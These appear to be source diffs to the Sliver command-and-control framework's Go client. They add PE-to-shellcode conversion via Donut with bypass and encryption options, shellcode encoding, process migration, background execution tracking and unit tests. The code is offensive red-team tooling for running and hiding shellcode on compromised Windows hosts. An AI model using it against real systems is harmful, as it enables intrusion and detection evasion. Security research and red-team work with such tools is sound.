|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
ExecuteChildrenCmd(cmd, con, args)
|
||||
},
|
||||
}
|
||||
flags.Bind("", false, executeChildrenCmd, func(f *pflag.FlagSet) {
|
||||
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
|
||||
})
|
||||
executeCmd.AddCommand(executeChildrenCmd)
|
||||
|
||||
executeAssemblyCmd := &cobra.Command{
|
||||
Use: consts.ExecuteAssemblyStr,
|
||||
Short: "Loads and executes a .NET assembly in a child process (Windows Only)",
|
||||
@@ -75,6 +94,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
|
||||
carapace.Gen(executeAssemblyCmd).PositionalCompletion(carapace.ActionFiles().Usage("path to assembly file (required)"))
|
||||
carapace.Gen(executeAssemblyCmd).PositionalAnyCompletion(carapace.ActionValues().Usage("arguments to pass to the assembly entrypoint (optional)"))
|
||||
completers.RegisterLocalFilePathPositionalCompletion(executeAssemblyCmd, 0)
|
||||
|
||||
executeShellcodeCmd := &cobra.Command{
|
||||
Use: consts.ExecuteShellcodeStr,
|
||||
@@ -94,6 +114,14 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
f.BoolP("shikata-ga-nai", "S", false, "encode shellcode using shikata ga nai prior to execution")
|
||||
f.StringP("architecture", "A", "amd64", "architecture of the shellcode: 386, amd64 (used with --shikata-ga-nai flag)")
|
||||
f.Uint32P("iterations", "I", 1, "number of encoding iterations (used with --shikata-ga-nai flag)")
|
||||
f.Uint32("shellcode-entropy", 1, "Shellcode entropy (Donut: 1=none, 2=random names, 3=random+encrypt) (windows PE input only)")
|
||||
f.Bool("shellcode-compress", false, "Enable shellcode compression (aPLib) (windows PE input only)")
|
||||
f.Uint32("shellcode-exitopt", 1, "Shellcode exit option (Donut: 1=exit thread, 2=exit process, 3=block) (windows PE input only)")
|
||||
f.Uint32("shellcode-bypass", 3, "Shellcode bypass mode (Donut: 1=none, 2=abort, 3=continue) (windows PE input only)")
|
||||
f.Uint32("shellcode-headers", 1, "Shellcode headers handling (Donut: 1=overwrite, 2=keep) (windows PE input only)")
|
||||
f.Bool("shellcode-thread", false, "Run unmanaged EXE entrypoint as a new thread (Donut) (windows PE input only)")
|
||||
f.Bool("shellcode-unicode", false, "Use Unicode command line for unmanaged DLL entrypoints (Donut) (windows PE input only)")
|
||||
f.Uint32("shellcode-oep", 0, "Override original entry point (OEP) (Donut) (windows PE input only)")
|
||||
|
||||
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
|
||||
})
|
||||
@@ -101,6 +129,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
(*comp)["shikata-ga-nai"] = carapace.ActionValues("386", "amd64").Tag("shikata-ga-nai architectures")
|
||||
})
|
||||
carapace.Gen(executeShellcodeCmd).PositionalCompletion(carapace.ActionFiles().Usage("path to shellcode file (required)"))
|
||||
completers.RegisterLocalFilePathPositionalCompletion(executeShellcodeCmd, 0)
|
||||
|
||||
sideloadCmd := &cobra.Command{
|
||||
Use: consts.SideloadStr,
|
||||
@@ -129,6 +158,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
|
||||
carapace.Gen(sideloadCmd).PositionalCompletion(carapace.ActionFiles().Usage("path to shared library file (required)"))
|
||||
carapace.Gen(sideloadCmd).PositionalAnyCompletion(carapace.ActionValues().Usage("arguments to pass to the binary (optional)"))
|
||||
completers.RegisterLocalFilePathPositionalCompletion(sideloadCmd, 0)
|
||||
|
||||
spawnDllCmd := &cobra.Command{
|
||||
Use: consts.SpawnDllStr,
|
||||
@@ -157,6 +187,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
|
||||
carapace.Gen(spawnDllCmd).PositionalCompletion(carapace.ActionFiles().Usage("path to DLL file (required)"))
|
||||
carapace.Gen(spawnDllCmd).PositionalAnyCompletion(carapace.ActionValues().Usage("arguments to pass to the DLL entrypoint (optional)"))
|
||||
completers.RegisterLocalFilePathPositionalCompletion(spawnDllCmd, 0)
|
||||
|
||||
migrateCmd := &cobra.Command{
|
||||
Use: consts.MigrateStr,
|
||||
@@ -169,11 +200,14 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
Annotations: flags.RestrictTargets(consts.WindowsCmdsFilter),
|
||||
}
|
||||
flags.Bind("", false, migrateCmd, func(f *pflag.FlagSet) {
|
||||
f.BoolP("disable-sgn", "S", true, "disable shikata ga nai shellcode encoder")
|
||||
f.String("shellcode-encoder", "", "shellcode encoder to apply (optional; see `shellcode-encoders`)")
|
||||
f.Uint32P("pid", "p", 0, "process id to migrate into")
|
||||
f.StringP("process-name", "n", "", "name of the process to migrate into")
|
||||
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
|
||||
})
|
||||
flags.BindFlagCompletions(migrateCmd, func(comp *carapace.ActionMap) {
|
||||
(*comp)["shellcode-encoder"] = shellcodeencoders.ShellcodeEncoderNameCompleter(con)
|
||||
})
|
||||
carapace.Gen(migrateCmd).PositionalCompletion(carapace.ActionValues().Usage("PID of process to migrate into"))
|
||||
|
||||
msfCmd := &cobra.Command{
|
||||
@@ -239,6 +273,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
(*comp)["custom-exe"] = carapace.ActionFiles()
|
||||
(*comp)["profile"] = generate.ProfileNameCompleter(con)
|
||||
})
|
||||
completers.RegisterLocalFilePathFlagCompletion(psExecCmd, "custom-exe")
|
||||
carapace.Gen(psExecCmd).PositionalCompletion(carapace.ActionValues().Usage("hostname (required)"))
|
||||
|
||||
sshCmd := &cobra.Command{
|
||||
@@ -269,6 +304,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
(*comp)["private-key"] = carapace.ActionFiles()
|
||||
(*comp)["kerberos-keytab"] = carapace.ActionFiles()
|
||||
})
|
||||
completers.RegisterLocalFilePathFlagCompletions(sshCmd, "private-key", "kerberos-keytab")
|
||||
|
||||
carapace.Gen(sshCmd).PositionalCompletion(carapace.ActionValues().Usage("remote host to SSH to (required)"))
|
||||
carapace.Gen(sshCmd).PositionalAnyCompletion(carapace.ActionValues().Usage("command line with arguments"))
|
||||
|
||||
@@ -0,0 +1,106 @@
|
||||
package exec
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"sort"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
"github.com/spf13/cobra"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
// ExecuteChildrenCmd - List tracked background execute child processes on the implant.
|
||||
func ExecuteChildrenCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
ctrl := make(chan bool)
|
||||
con.SpinUntil("Querying execute children ...", ctrl)
|
||||
execChildren, err := con.Rpc.ExecuteChildren(context.Background(), &sliverpb.ExecuteChildrenReq{
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
if execChildren.Response != nil && execChildren.Response.Async {
|
||||
con.AddBeaconCallback(execChildren.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, execChildren)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintExecuteChildren(execChildren, con)
|
||||
})
|
||||
con.PrintAsyncResponse(execChildren.Response)
|
||||
return
|
||||
}
|
||||
|
||||
PrintExecuteChildren(execChildren, con)
|
||||
}
|
||||
|
||||
// PrintExecuteChildren - Render execute children output.
|
||||
func PrintExecuteChildren(execChildren *sliverpb.ExecuteChildren, con *console.SliverClient) {
|
||||
if execChildren == nil || len(execChildren.Children) == 0 {
|
||||
con.PrintInfof("No tracked background execute children\n")
|
||||
return
|
||||
}
|
||||
|
||||
children := append([]*sliverpb.ExecuteChild(nil), execChildren.Children...)
|
||||
sort.Slice(children, func(i, j int) bool {
|
||||
return children[i].StartTime < children[j].StartTime
|
||||
})
|
||||
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
tw.AppendHeader(table.Row{"pid", "state", "exit", "started", "command", "stdout", "stderr"})
|
||||
|
||||
for _, child := range children {
|
||||
state := "running"
|
||||
exitCode := "-"
|
||||
if child.Exited {
|
||||
state = "exited"
|
||||
exitCode = fmt.Sprintf("%d", child.ExitCode)
|
||||
}
|
||||
|
||||
started := "-"
|
||||
if child.StartTime != 0 {
|
||||
started = time.Unix(child.StartTime, 0).Local().Format("2006-01-02 15:04:05")
|
||||
}
|
||||
|
||||
command := strings.TrimSpace(fmt.Sprintf("%s %s", child.Path, strings.Join(child.Args, " ")))
|
||||
tw.AppendRow(table.Row{child.Pid, state, exitCode, started, command, child.Stdout, child.Stderr})
|
||||
}
|
||||
|
||||
con.Printf("%s\n", tw.Render())
|
||||
}
|
||||
@@ -20,27 +20,44 @@ package exec
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"bytes"
|
||||
"context"
|
||||
"fmt"
|
||||
"io"
|
||||
"log"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"github.com/Binject/debug/pe"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/core"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
wasmdonut "github.com/sliverarmory/wasm-donut"
|
||||
"github.com/spf13/cobra"
|
||||
"golang.org/x/term"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
const (
|
||||
defaultExecuteShellcodeDonutEntropy = wasmdonut.DonutEntropyNone
|
||||
defaultExecuteShellcodeDonutCompress = wasmdonut.DonutCompressNone
|
||||
defaultExecuteShellcodeDonutExitOpt = wasmdonut.DonutExitThread
|
||||
defaultExecuteShellcodeDonutBypass = wasmdonut.DonutBypassContinue
|
||||
defaultExecuteShellcodeDonutHeaders = wasmdonut.DonutHeadersOverwrite
|
||||
imageFileDLLMask = 0x2000
|
||||
)
|
||||
|
||||
// ExecuteShellcodeCmd - Execute shellcode in-memory.
|
||||
func ExecuteShellcodeCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
targetName := activeTargetName(session, beacon)
|
||||
targetOS := activeTargetOS(session, beacon)
|
||||
targetArch := activeTargetArch(session, beacon)
|
||||
|
||||
rwxPages, _ := cmd.Flags().GetBool("rwx-pages")
|
||||
interactive, _ := cmd.Flags().GetBool("interactive")
|
||||
@@ -60,6 +77,27 @@ func ExecuteShellcodeCmd(cmd *cobra.Command, con *console.SliverClient, args []s
|
||||
con.PrintErrorf("Cannot use both `--pid` and `--interactive`\n")
|
||||
return
|
||||
}
|
||||
|
||||
shellcodeConfig, shellcodeFlagsChanged, err := parseExecuteShellcodeFlags(cmd)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
shouldConvertPE, isDLLHint := shouldConvertExecuteShellcodePE(shellcodePath, shellcodeFlagsChanged)
|
||||
if shouldConvertPE {
|
||||
if targetOS != "windows" {
|
||||
con.PrintErrorf("PE input and --shellcode-* options are only supported for Windows targets in execute-shellcode\n")
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Converting PE input to shellcode ...\n")
|
||||
shellcodeBin, err = donutShellcodeFromPE(shellcodeBin, targetArch, isDLLHint, shellcodeConfig)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to convert PE input to shellcode: %s\n", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
shikataGaNai, _ := cmd.Flags().GetBool("shikata-ga-nai")
|
||||
if shikataGaNai {
|
||||
if !rwxPages {
|
||||
@@ -96,7 +134,7 @@ func ExecuteShellcodeCmd(cmd *cobra.Command, con *console.SliverClient, args []s
|
||||
return
|
||||
}
|
||||
ctrl := make(chan bool)
|
||||
msg := fmt.Sprintf("Sending shellcode to %s ...", session.GetName())
|
||||
msg := fmt.Sprintf("Sending shellcode to %s ...", targetName)
|
||||
con.SpinUntil(msg, ctrl)
|
||||
shellcodeTask, err := con.Rpc.Task(context.Background(), &sliverpb.TaskReq{
|
||||
Data: shellcodeBin,
|
||||
@@ -135,6 +173,186 @@ func PrintExecuteShellcode(task *sliverpb.Task, con *console.SliverClient) {
|
||||
}
|
||||
}
|
||||
|
||||
func parseExecuteShellcodeFlags(cmd *cobra.Command) (*clientpb.ShellcodeConfig, bool, error) {
|
||||
shellcodeEntropy, _ := cmd.Flags().GetUint32("shellcode-entropy")
|
||||
shellcodeCompressEnabled, _ := cmd.Flags().GetBool("shellcode-compress")
|
||||
shellcodeExitOpt, _ := cmd.Flags().GetUint32("shellcode-exitopt")
|
||||
shellcodeBypass, _ := cmd.Flags().GetUint32("shellcode-bypass")
|
||||
shellcodeHeaders, _ := cmd.Flags().GetUint32("shellcode-headers")
|
||||
shellcodeThread, _ := cmd.Flags().GetBool("shellcode-thread")
|
||||
shellcodeUnicode, _ := cmd.Flags().GetBool("shellcode-unicode")
|
||||
shellcodeOEP, _ := cmd.Flags().GetUint32("shellcode-oep")
|
||||
|
||||
anyChanged := cmd.Flags().Changed("shellcode-entropy") ||
|
||||
cmd.Flags().Changed("shellcode-compress") ||
|
||||
cmd.Flags().Changed("shellcode-exitopt") ||
|
||||
cmd.Flags().Changed("shellcode-bypass") ||
|
||||
cmd.Flags().Changed("shellcode-headers") ||
|
||||
cmd.Flags().Changed("shellcode-thread") ||
|
||||
cmd.Flags().Changed("shellcode-unicode") ||
|
||||
cmd.Flags().Changed("shellcode-oep")
|
||||
|
||||
if shellcodeEntropy < 1 || shellcodeEntropy > 3 {
|
||||
return nil, false, fmt.Errorf("shellcode-entropy must be between 1 and 3")
|
||||
}
|
||||
if shellcodeExitOpt < 1 || shellcodeExitOpt > 3 {
|
||||
return nil, false, fmt.Errorf("shellcode-exitopt must be between 1 and 3")
|
||||
}
|
||||
if shellcodeBypass < 1 || shellcodeBypass > 3 {
|
||||
return nil, false, fmt.Errorf("shellcode-bypass must be between 1 and 3")
|
||||
}
|
||||
if shellcodeHeaders < 1 || shellcodeHeaders > 2 {
|
||||
return nil, false, fmt.Errorf("shellcode-headers must be 1 or 2")
|
||||
}
|
||||
|
||||
shellcodeCompress := uint32(1)
|
||||
if shellcodeCompressEnabled {
|
||||
shellcodeCompress = 2
|
||||
}
|
||||
|
||||
return &clientpb.ShellcodeConfig{
|
||||
Entropy: shellcodeEntropy,
|
||||
Compress: shellcodeCompress,
|
||||
ExitOpt: shellcodeExitOpt,
|
||||
Bypass: shellcodeBypass,
|
||||
Headers: shellcodeHeaders,
|
||||
Thread: shellcodeThread,
|
||||
Unicode: shellcodeUnicode,
|
||||
OEP: shellcodeOEP,
|
||||
}, anyChanged, nil
|
||||
}
|
||||
|
||||
func shouldConvertExecuteShellcodePE(shellcodePath string, shellcodeFlagsChanged bool) (bool, bool) {
|
||||
ext := strings.ToLower(filepath.Ext(shellcodePath))
|
||||
isPEByExt := ext == ".exe" || ext == ".dll"
|
||||
return isPEByExt || shellcodeFlagsChanged, ext == ".dll"
|
||||
}
|
||||
|
||||
func activeTargetName(session *clientpb.Session, beacon *clientpb.Beacon) string {
|
||||
if session != nil {
|
||||
return session.GetName()
|
||||
}
|
||||
if beacon != nil {
|
||||
return beacon.GetName()
|
||||
}
|
||||
return "target"
|
||||
}
|
||||
|
||||
func activeTargetOS(session *clientpb.Session, beacon *clientpb.Beacon) string {
|
||||
if session != nil {
|
||||
return strings.ToLower(session.GetOS())
|
||||
}
|
||||
if beacon != nil {
|
||||
return strings.ToLower(beacon.GetOS())
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func activeTargetArch(session *clientpb.Session, beacon *clientpb.Beacon) string {
|
||||
if session != nil {
|
||||
return session.GetArch()
|
||||
}
|
||||
if beacon != nil {
|
||||
return beacon.GetArch()
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
type executeShellcodeDonutOptions struct {
|
||||
entropy int
|
||||
compress int
|
||||
exitOpt int
|
||||
bypass int
|
||||
headers int
|
||||
thread bool
|
||||
unicode bool
|
||||
oep uint32
|
||||
}
|
||||
|
||||
func normalizeExecuteShellcodeDonutConfig(config *clientpb.ShellcodeConfig) executeShellcodeDonutOptions {
|
||||
opts := executeShellcodeDonutOptions{
|
||||
entropy: defaultExecuteShellcodeDonutEntropy,
|
||||
compress: defaultExecuteShellcodeDonutCompress,
|
||||
exitOpt: defaultExecuteShellcodeDonutExitOpt,
|
||||
bypass: defaultExecuteShellcodeDonutBypass,
|
||||
headers: defaultExecuteShellcodeDonutHeaders,
|
||||
}
|
||||
if config == nil {
|
||||
return opts
|
||||
}
|
||||
if config.Entropy >= 1 && config.Entropy <= 3 {
|
||||
opts.entropy = int(config.Entropy)
|
||||
}
|
||||
if config.Compress >= 1 && config.Compress <= 2 {
|
||||
opts.compress = int(config.Compress)
|
||||
}
|
||||
if config.ExitOpt >= 1 && config.ExitOpt <= 3 {
|
||||
opts.exitOpt = int(config.ExitOpt)
|
||||
}
|
||||
if config.Bypass >= 1 && config.Bypass <= 3 {
|
||||
opts.bypass = int(config.Bypass)
|
||||
}
|
||||
if config.Headers >= 1 && config.Headers <= 2 {
|
||||
opts.headers = int(config.Headers)
|
||||
}
|
||||
opts.thread = config.Thread
|
||||
opts.unicode = config.Unicode
|
||||
if config.OEP > 0 {
|
||||
opts.oep = config.OEP
|
||||
}
|
||||
return opts
|
||||
}
|
||||
|
||||
func donutShellcodeFromPE(data []byte, arch string, isDLLHint bool, config *clientpb.ShellcodeConfig) ([]byte, error) {
|
||||
peFile, err := pe.NewFile(bytes.NewReader(data))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
isDLL := isDLLHint || ((peFile.FileHeader.Characteristics & imageFileDLLMask) != 0)
|
||||
ext := ".exe"
|
||||
if isDLL {
|
||||
ext = ".dll"
|
||||
}
|
||||
opts := normalizeExecuteShellcodeDonutConfig(config)
|
||||
result, err := wasmdonut.Generate(context.Background(), data, ext, wasmdonut.GenerateOptions{
|
||||
Ext: ext,
|
||||
Arch: getExecuteShellcodeDonutArch(arch),
|
||||
Bypass: opts.bypass,
|
||||
Headers: opts.headers,
|
||||
Entropy: opts.entropy,
|
||||
Compress: opts.compress,
|
||||
ExitOpt: opts.exitOpt,
|
||||
Thread: opts.thread,
|
||||
Unicode: opts.unicode,
|
||||
OEP: opts.oep,
|
||||
})
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return addExecuteShellcodeStackCheck(result.Loader), nil
|
||||
}
|
||||
|
||||
func getExecuteShellcodeDonutArch(arch string) int {
|
||||
donutArch := wasmdonut.DonutArchX84
|
||||
switch strings.ToLower(arch) {
|
||||
case "x32", "x86", "386":
|
||||
donutArch = wasmdonut.DonutArchX86
|
||||
case "x64", "amd64":
|
||||
donutArch = wasmdonut.DonutArchX64
|
||||
case "x84":
|
||||
donutArch = wasmdonut.DonutArchX84
|
||||
}
|
||||
return donutArch
|
||||
}
|
||||
|
||||
func addExecuteShellcodeStackCheck(shellcode []byte) []byte {
|
||||
stackCheckPrologue := []byte{
|
||||
0x48, 0x83, 0xE4, 0xF0, // and rsp,0xfffffffffffffff0
|
||||
0x48, 0x83, 0xC4, 0x08, // add rsp,0x8
|
||||
}
|
||||
return append(stackCheckPrologue, shellcode...)
|
||||
}
|
||||
|
||||
func executeInteractive(cmd *cobra.Command, hostProc string, shellcode []byte, rwxPages bool, con *console.SliverClient) {
|
||||
// Check active session
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
@@ -157,10 +375,25 @@ func executeInteractive(cmd *cobra.Command, hostProc string, shellcode []byte, r
|
||||
|
||||
tunnel := core.GetTunnels().Start(rpcTunnel.GetTunnelID(), rpcTunnel.GetSessionID())
|
||||
|
||||
var rows uint32
|
||||
var cols uint32
|
||||
if !noPty {
|
||||
colsInt, rowsInt, err := term.GetSize(int(os.Stdout.Fd()))
|
||||
if err != nil || rowsInt <= 0 || colsInt <= 0 {
|
||||
colsInt, rowsInt, err = term.GetSize(int(os.Stdin.Fd()))
|
||||
}
|
||||
if err == nil && rowsInt > 0 && colsInt > 0 {
|
||||
rows = uint32(rowsInt)
|
||||
cols = uint32(colsInt)
|
||||
}
|
||||
}
|
||||
|
||||
shell, err := con.Rpc.Shell(context.Background(), &sliverpb.ShellReq{
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
Path: hostProc,
|
||||
EnablePTY: !noPty,
|
||||
Rows: rows,
|
||||
Cols: cols,
|
||||
TunnelID: tunnel.ID,
|
||||
})
|
||||
if err != nil {
|
||||
@@ -200,6 +433,12 @@ func executeInteractive(cmd *cobra.Command, hostProc string, shellcode []byte, r
|
||||
}
|
||||
}
|
||||
|
||||
stopPtyResize := func() {}
|
||||
if !noPty {
|
||||
stopPtyResize = startPtyResizeWatcher(con, cmd, tunnel.ID)
|
||||
}
|
||||
defer stopPtyResize()
|
||||
|
||||
log.Printf("Starting stdin/stdout shell ...")
|
||||
go func() {
|
||||
n, err := io.Copy(os.Stdout, tunnel)
|
||||
|
||||
@@ -0,0 +1,100 @@
|
||||
package exec
|
||||
|
||||
import (
|
||||
"testing"
|
||||
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
|
||||
func TestParseExecuteShellcodeFlagsDefaults(t *testing.T) {
|
||||
cmd := newExecuteShellcodeFlagsTestCommand(t)
|
||||
|
||||
cfg, changed, err := parseExecuteShellcodeFlags(cmd)
|
||||
if err != nil {
|
||||
t.Fatalf("parseExecuteShellcodeFlags returned error: %v", err)
|
||||
}
|
||||
if changed {
|
||||
t.Fatalf("expected changed=false with defaults")
|
||||
}
|
||||
if cfg == nil {
|
||||
t.Fatalf("expected non-nil config")
|
||||
}
|
||||
if cfg.Entropy != 1 || cfg.Compress != 1 || cfg.ExitOpt != 1 || cfg.Bypass != 3 || cfg.Headers != 1 {
|
||||
t.Fatalf("unexpected defaults: %+v", cfg)
|
||||
}
|
||||
if cfg.Thread || cfg.Unicode || cfg.OEP != 0 {
|
||||
t.Fatalf("unexpected default bool/OEP values: %+v", cfg)
|
||||
}
|
||||
}
|
||||
|
||||
func TestParseExecuteShellcodeFlagsChanged(t *testing.T) {
|
||||
cmd := newExecuteShellcodeFlagsTestCommand(t)
|
||||
if err := cmd.Flags().Set("shellcode-entropy", "2"); err != nil {
|
||||
t.Fatalf("set shellcode-entropy: %v", err)
|
||||
}
|
||||
if err := cmd.Flags().Set("shellcode-compress", "true"); err != nil {
|
||||
t.Fatalf("set shellcode-compress: %v", err)
|
||||
}
|
||||
if err := cmd.Flags().Set("shellcode-thread", "true"); err != nil {
|
||||
t.Fatalf("set shellcode-thread: %v", err)
|
||||
}
|
||||
|
||||
cfg, changed, err := parseExecuteShellcodeFlags(cmd)
|
||||
if err != nil {
|
||||
t.Fatalf("parseExecuteShellcodeFlags returned error: %v", err)
|
||||
}
|
||||
if !changed {
|
||||
t.Fatalf("expected changed=true")
|
||||
}
|
||||
if cfg.Entropy != 2 || cfg.Compress != 2 || !cfg.Thread {
|
||||
t.Fatalf("unexpected changed config: %+v", cfg)
|
||||
}
|
||||
}
|
||||
|
||||
func TestParseExecuteShellcodeFlagsValidation(t *testing.T) {
|
||||
cmd := newExecuteShellcodeFlagsTestCommand(t)
|
||||
if err := cmd.Flags().Set("shellcode-bypass", "9"); err != nil {
|
||||
t.Fatalf("set shellcode-bypass: %v", err)
|
||||
}
|
||||
if _, _, err := parseExecuteShellcodeFlags(cmd); err == nil {
|
||||
t.Fatalf("expected validation error for shellcode-bypass")
|
||||
}
|
||||
}
|
||||
|
||||
func TestShouldConvertExecuteShellcodePE(t *testing.T) {
|
||||
testCases := []struct {
|
||||
name string
|
||||
path string
|
||||
flagsChanged bool
|
||||
wantConvert bool
|
||||
wantDLL bool
|
||||
}{
|
||||
{name: "exe by extension", path: "/tmp/payload.exe", flagsChanged: false, wantConvert: true, wantDLL: false},
|
||||
{name: "dll by extension", path: "/tmp/payload.dll", flagsChanged: false, wantConvert: true, wantDLL: true},
|
||||
{name: "raw shellcode", path: "/tmp/payload.bin", flagsChanged: false, wantConvert: false, wantDLL: false},
|
||||
{name: "flags force conversion", path: "/tmp/payload.bin", flagsChanged: true, wantConvert: true, wantDLL: false},
|
||||
}
|
||||
for _, tc := range testCases {
|
||||
t.Run(tc.name, func(t *testing.T) {
|
||||
gotConvert, gotDLL := shouldConvertExecuteShellcodePE(tc.path, tc.flagsChanged)
|
||||
if gotConvert != tc.wantConvert || gotDLL != tc.wantDLL {
|
||||
t.Fatalf("unexpected result convert=%v dll=%v, expected convert=%v dll=%v", gotConvert, gotDLL, tc.wantConvert, tc.wantDLL)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func newExecuteShellcodeFlagsTestCommand(t *testing.T) *cobra.Command {
|
||||
t.Helper()
|
||||
|
||||
cmd := &cobra.Command{Use: "execute-shellcode"}
|
||||
cmd.Flags().Uint32("shellcode-entropy", 1, "")
|
||||
cmd.Flags().Bool("shellcode-compress", false, "")
|
||||
cmd.Flags().Uint32("shellcode-exitopt", 1, "")
|
||||
cmd.Flags().Uint32("shellcode-bypass", 3, "")
|
||||
cmd.Flags().Uint32("shellcode-headers", 1, "")
|
||||
cmd.Flags().Bool("shellcode-thread", false, "")
|
||||
cmd.Flags().Bool("shellcode-unicode", false, "")
|
||||
cmd.Flags().Uint32("shellcode-oep", 0, "")
|
||||
return cmd
|
||||
}
|
||||
@@ -44,28 +44,49 @@ func ExecuteCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
token, _ := cmd.Flags().GetBool("token")
|
||||
hidden, _ := cmd.Flags().GetBool("hidden")
|
||||
output, _ := cmd.Flags().GetBool("output")
|
||||
background, _ := cmd.Flags().GetBool("background")
|
||||
stdout, _ := cmd.Flags().GetString("stdout")
|
||||
stderr, _ := cmd.Flags().GetString("stderr")
|
||||
saveLoot, _ := cmd.Flags().GetBool("loot")
|
||||
saveOutput, _ := cmd.Flags().GetBool("save")
|
||||
ppid, _ := cmd.Flags().GetUint32("ppid")
|
||||
envInheritance, _ := cmd.Flags().GetBool("env-inheritance")
|
||||
envPairs, _ := cmd.Flags().GetStringArray("env")
|
||||
envVars, err := parseEnvPairs(envPairs)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
hostName := getHostname(session, beacon)
|
||||
|
||||
// If the user wants to loot or save the output, we have to capture it regardless of if they specified -o
|
||||
captureOutput := output || saveLoot || saveOutput
|
||||
if background && (saveLoot || saveOutput) {
|
||||
con.PrintErrorf("The loot and save options are not supported with --background\n")
|
||||
return
|
||||
}
|
||||
|
||||
if output && beacon != nil {
|
||||
// If the user wants to loot or save the output, we have to capture it regardless of if they specified -o
|
||||
captureOutput := !background && (output || saveLoot || saveOutput)
|
||||
|
||||
if captureOutput && beacon != nil {
|
||||
con.PrintWarnf("Using --output in beacon mode, if the command blocks the task will never complete\n\n")
|
||||
}
|
||||
|
||||
var exec *sliverpb.Execute
|
||||
var err error
|
||||
|
||||
ctrl := make(chan bool)
|
||||
con.PrintInfof("Execute: %s [%s]\n", cmdPath, strings.Join(args, " "))
|
||||
con.SpinUntil(fmt.Sprintf("Executing %s %s ...", cmdPath, strings.Join(args, " ")), ctrl)
|
||||
if token || hidden || ppid != 0 {
|
||||
if (session != nil && session.OS != "windows") || (beacon != nil && beacon.OS != "windows") {
|
||||
con.PrintErrorf("The token, hide window, and ppid options are not valid on %s\n", session.OS)
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
return
|
||||
}
|
||||
if envInheritance || len(envVars) > 0 {
|
||||
con.PrintErrorf("The env and env-inheritance options are not supported with token, hidden, or ppid\n")
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
return
|
||||
}
|
||||
exec, err = con.Rpc.ExecuteWindows(context.Background(), &sliverpb.ExecuteWindowsReq{
|
||||
@@ -73,6 +94,7 @@ func ExecuteCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
Path: cmdPath,
|
||||
Args: args,
|
||||
Output: captureOutput,
|
||||
Background: background,
|
||||
Stderr: stderr,
|
||||
Stdout: stdout,
|
||||
UseToken: token,
|
||||
@@ -81,12 +103,15 @@ func ExecuteCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
